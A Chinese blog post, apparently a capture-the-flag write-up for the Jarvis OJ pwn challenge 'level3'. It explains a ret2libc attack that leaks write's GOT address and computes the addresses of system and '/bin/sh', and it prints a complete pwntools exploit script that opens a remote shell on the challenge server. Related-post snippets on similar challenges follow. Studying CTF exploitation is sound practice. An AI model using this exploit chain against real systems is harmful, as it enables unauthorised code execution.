(Jarvis Oj)(Pwn) level3

PWN做题笔记6-Level3(got表做ret2libc) 原题地址https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5060&page=1 题目包含一个ELF文件level3和一个libc库 是32位ELF文件,采用动态链接库 未开启ALSR ida反汇编,main函数write: 该函数存在溢出点: 但是LEVEL3没有提供system函数和/bin/sh字符串,因此要从动态库找。 这里要提及一下如何确定动... 阅读详情

(Jarvis Oj)(Pwn) level3

首先用checksec查看一下保护。
这里写图片描述
依然开启了NX保护。ida反汇编,找到溢出点。
这里写图片描述
可是呢,这次在程序中并没有找到system函数,和”/bin/sh”字符串,那么这次该如何拿到shell呢,还是利用system函数,但是没有程序中system的plt,我们如何获取system的地址呢,这需要利用到在libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同这一特性来获取,我们在程序中发现了,write函数,write函数可以将东西写出来,我们就可以将write函数在内存中的地址泄露出来,由于system和write函数在libc.so文件中的地址是可以知道的,那么进而我们就可以知道system在内存中的的地址,同理可以知道”/bin/sh”在内存中的地址,于是就可以调用system(“/bin/sh”)达到获取shell的目的。至于write函数在内存中的地址是保存在got表中,在第二次运行write函数的时候,got表中就已经记录了write的地址。示意图如下:
这里写图片描述
按参数顺序构造输入,write函数返回值设置为vul函数是为了再次调用read函数,来进行第二次攻击,此次就是调用system函数。
这里写图片描述
最后写得脚本。

from pwn import *                                                                                                      
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com","9879")
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B  
write_plt=e.symbols['write'] 
write_got=e.got['write'] 

payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
conn.recvuntil("Input:\n")
conn.sendline(payload1)

write_addr=u32(conn.recv(4))

#calculate the system_address in memory
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()

system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh

payload2='A'*pad+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()
笔记向——PWN jarvis oj level2 题目链接:https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1 nc pwn2.jarvisoj.com 9878 0x01分析漏洞 先查看文件类型,再运行一下文件 检查保护措施 补充: checksec :是用来检查可执行文件属性的。 Arch:说明这个文件的属性是什么,说明是32位的程序。 Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,lin 阅读详情

相关推荐

笔记向——PWN jarvis oj level1

题目链接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5 nc pwn2.jarvisoj.com 9877 0x01Linux中分析题目 首先使用file命令,文件为32位 再运行一下文件,提示输入,然后输出hello world 若出现权限不够则使用 chmod 777 文件名 ,打开文件所有权限 使用gdb工具,终端输入gdb,再输入:checksec 文件名,检查保

m0_52133692的博客 206

LevOJ食用说明书

作为南信大的学子,我们肩负着 “守正创新,开创未来 ” 的使命,因此,我们首先要脚踏实地,做好本分,肝好OJ。 为了让大家能够更好地食用OJ,饺子在这里给大家列出一些注意事项,这些事项往往是许多人栽跟头的地方。 1.TSOJ应ACM的要求,采用多组输入,多组输入通常有两大种形式,具体的代码实现如下。 while(scanf("%d",&n)!=EOF) ...

孤独的饺子的博客 2092

鸿蒙读书笔记1:《鸿蒙操作系统设计原理与架构》

GUI、 语 音 控 制 方 式 的 VUI(Voice User Interface, 语 音 用 户 界。电话、多媒体、DFX、MSDP(Multimodal Sensor Data Platform,多。面)、手势/姿态控制的CVUI(Computer Vision User Interface,计算。KAL(Kernel Abstract Layer,内核抽象层)通过屏蔽多内核差异,JavaScript、C、C++等多语言的用户程序开发框架,以及UI框架、

jackyrongvip的专栏 2449

jarvis oj level3

所需知识 先在终端用file命令查看文件为32位,在对应版本的IDA中打开 用checksec命令查看文件发现 栈无保护,再看伪代码分析可知 可以在传入buf 时覆盖栈的函数返回地址,即可以返回system函数的地址 再给system传入参数"/bin/sh" 就可以进入服务器的终端得到flag 大致思路跟第二题是一样的, 但是不同点在于上一题可以直接在IDA里面获得函数syste...

weixin_44932880的博客 357

Anaconda启动失败,一直在loading application的问题

实战基础新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本

Tristan的博客 2771

【无标题】 Python自动化法律文书撰写

Jinja2是一个功能强大的模板引擎,支持丰富的语法和功能。除了条件判断和循环语句外,Jinja2还支持过滤器、宏、继承等高级特性,非常适合处理复杂的文书模板。

master_chenchen的博客 2063

[BUUCTF]PWN——jarvisoj_level3

[BUUCTF]PWN——jarvisoj_level3

qq_75021728的博客 361

Rocky Linux 9 远程桌面配置全攻略:从零搭建XRDP服务(含防火墙设置)

本文提供了在Rocky Linux 9上从零开始配置XRDP远程桌面服务的完整指南。详细介绍了系统准备、XRDP服务安装、防火墙与SELinux安全设置、多用户性能优化以及多平台客户端连接实测。重点解决了使用Windows远程桌面协议(RDP)连接Rocky Linux时常见的配置难点与安全问题,帮助用户获得稳定高效的图形化远程访问体验。

vodka的博客 649

jarvisoj_level3_x64解题

X64系统中程序参数前六个保存在寄存器中。

2301_81504456的博客 721

使用VS Code创建第一个Flutter工程

你可以使用任意文本编辑器结合命令行工具来开发Flutter应用。然而,我们推荐使用本文介绍的编辑器插件以获取更好的开发体验。这些插件提供了代码补全、代码高亮、widget辅助编辑等功能,以及为项目的运行和调试提供支持。推荐的开发工具有VS Code、Android Studio、IntelliJ。本文将重点介绍如何使用VS Code进行Flutter应用开发。

2501_91373349的博客 2126

Python爬虫实战:如何抓取旅游论坛上的帖子、旅行攻略和评论内容

无论是知名的旅游网站,还是地方性的旅游讨论区,用户发布的旅行贴文、攻略和评论往往包含着大量的宝贵信息。本文将详细介绍如何使用Python编写一个爬虫,抓取旅游论坛上的帖子、旅行攻略和评论内容,涵盖从获取页面内容、解析数据到处理动态加载等各个方面的技术。从基本的请求和网页解析,到动态加载页面的处理,再到数据存储和反爬虫技巧,我们详细讲解了抓取旅游论坛数据的全过程。通过本文的介绍,你可以将所学的爬虫技术应用到其他类似的网站抓取任务中,为后续的数据分析、机器学习等任务提供丰富的数据源。在这种情况下,传统的。

2201_76125261的博客 1557

(Jarvis Oj)(Pwn) level3_x64

(Jarvis Oj)(Pwn) level3_x64 这题是level3的64位版本,思路和32位版本一致,不同之处就是函数的参数传递,利用寄存器,于是构造rop链。写得脚本如下: from pwn import * ...

Nothing 1076

8、使用 TPCx - HCI 基准测试表征 HCI 集群的性能和弹性

本文详细介绍了 TPCx - HCI 基准测试,用于衡量超融合基础设施(HCI)集群的性能、稳定性和扩展性。TPCx - HCI 扩展了 TPCx - V 的理念,通过 Tile 架构和弹性特性,全面评估硬件、虚拟化、存储和网络组件的表现。文章还通过多个实验场景分析了负载均衡、数据布局和重新同步策略对性能的影响,并提出了部署和优化 HCI 集群的建议。

sun99的博客 179

(Jarvis Oj)(Pwn) level1

(Jarvis Oj)(Pwn) level1 首先用checksec查一下保护。几乎没开什么保护措施。关键的是NX没开,意味着栈上的数据可执行。 用ida反汇编,找到溢出点。 但这次没有找到system函数了,那么该怎么得到shell呢,发现这个函数调用了printf函数,输出了buf的地址,在结合NX保护是关闭的,那么就意味着,如果将shellcode写到buf中,函数返回时跳转...

Nothing 1411

YOLOv13添加DRB模块map暴涨12.33!准确率提升8.56!召回率提升15.66

本文介绍了在YOLOv13模型中添加DRB模块的改进方法。实验结果显示,添加DRB模块后模型性能显著提升,mAP暴涨12.33%,准确率提升8.56%。文章详细说明了移植过程,包括创建yolov13-DRB.yaml配置文件、修改tasks.py和__init__.py文件,以及引入UniRepLKNet模块的具体实现。其中重点描述了GRNwithNHWC、NCHWtoNHWC等核心组件的实现细节,并提供了完整的模型结构配置代码。这些改进使得YOLOv13模型在保持原有架构优势的同时,获得了更强大的特征提取

FJN110的博客 2819

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

(Jarvis Oj)(Pwn) level4

(Jarvis Oj)(Pwn) level4 先看一下保护措施,没什么奇怪的地方。 这次并没有给libc的文件,开始通过泄露得到的__libc_start_main地址对照libc库,并没有成功。于是就学了一波DynELF,这个模块的原理还是不太清楚(玄学),以后来填。总之利用这个模块可以找到system的地址,但是找不到”/bin/sh”这个字符串位置,但是我们可以控制read函数,所...

Nothing 1264

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

(Jarvis Oj)(Pwn) level0

(Jarvis Oj)(Pwn) level0 首先用checksec查一下保护。几乎没开什么保护措施。 用ida反汇编。main函数就调用了两个函数。 跟进第二个函数。 找到溢出点,同过buf缓冲区。又找到函数callsystem()。 只要控制程序返回到callsystem地址即可。找到callsystem地址。 写得脚本。 1 from pwn ...

Nothing 1319

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

(Jarvis Oj)(Pwn) level2

(Jarvis Oj)(Pwn) level2 首先用checksec查一下保护。这次NX开启了。 用ida反汇编,找到溢出点。 这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,将传入参数设置成”/bin/sh”,用ida查找了一下字符串,刚好发现了”/bin/sh”,于是记录下地址(或者...

Nothing 1198

(Jarvis Oj)(Pwn) level2(x64)

(Jarvis Oj)(Pwn) level2(x64) 首先用checksec查一下保护,和level2一样。 反汇编,程序和32位的程序几乎一致。找到溢出点。 那么溢出思路也和32位的差不多,唯一不同的是,64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,所以这时我们的思路变成如何覆盖edi的值,通过基本rop就可...

Nothing 1565

Jarvis OJ - pwn level3

前言 因为换了电脑,GitHub博客的环境搭起来太麻烦了,又想有所记录,所以又回到这里啦~ level3 前段时间做过pwn题目,现在再来做,发现以前很简单的脚本利用命令都忘记了,真是,啥东西都不能放,一放就忘,这脑子不管用了。 之后每天保持做题量,保持做题手感!在这里记录并且作为监督自己的一种方式。 做题思路 没有system和binsh,又给出了libc文件,容易想到可以用ret2libc方法...

hanqdi_的博客 329

Jarvis OJ - pwn level3-64

pwn - level3_x64 检查保护机制 只开启了NX保护,堆栈不可执行保护。 放入ida分析,发现read栈溢出。 思路:没有system和binsh的情况下,在read函数前有write函数运行,可以通过泄漏write函数的地址来泄漏libc版本,从而泄漏system和binsh地址。 泄漏write函数,需要调用write(1,write_got,0x08) ...

hanqdi_的博客 389

攻防世界level0 + (Jarvis Oj)(Pwn) level1

攻防世界level0 将文件在ida中打开, 输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,双击进去查看,, 无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。查找字符串 这是 vulnerable_function 函数,可以在栈上写0x200个字节,或许我们可以进行溢出,覆盖掉返回地址...

qq_44832048的博客 2163

(Jarvis Oj)(Pwn) level5

(Jarvis Oj)(Pwn) level5 题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。附件和level3_x64的附件一样。 首先去看看这个mmap函数和mprotect函数是干啥的。 void* mmap(void* addr, size_t len, int port, int flag, int...

Nothing 2198

[Jarvis OJ - PWN]——[XMAN]level2(x64)

[Jarvis OJ - PWN]——[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序。开启了NX保护 在IDA看一下,main函数中有我们要的system函数, vulnerable_function函数中也有。不过可惜参数都不对,任取一个system地址就好就好。但是我们找到了栈溢出的利用函数read。buf距离rbp的距离为0x80 查找一下看看有没有**"/bin/sh"字符串

Y_peak的博客 923

Jarvis OJ_level3_入门栈溢出

附录:发现这个网站的题还是挺系统的,对于入门pwn的是挺好的一个选择 解题思路 1. 查看文件信息,安全机制 2. 代码审计 3. 分析漏洞点 4. 编写EXP

Jc 518

[Jarvis OJ - PWN]——[XMAN]level3

[Jarvis OJ - PWN]——[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保护。 在IDA看下。第一个函数中,有可以栈溢出利用的函数read。查找发现没有system函数和’/bin/sh’字符串。 expolit from pwn import * from LibcSearcher import * p=remote("pwn2.jarvisoj.com",9879)

Y_peak的博客 384
上一篇: (Jarvis Oj)(Pwn) level2(x64)
下一篇: (Jarvis Oj)(Pwn) level3_x64
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值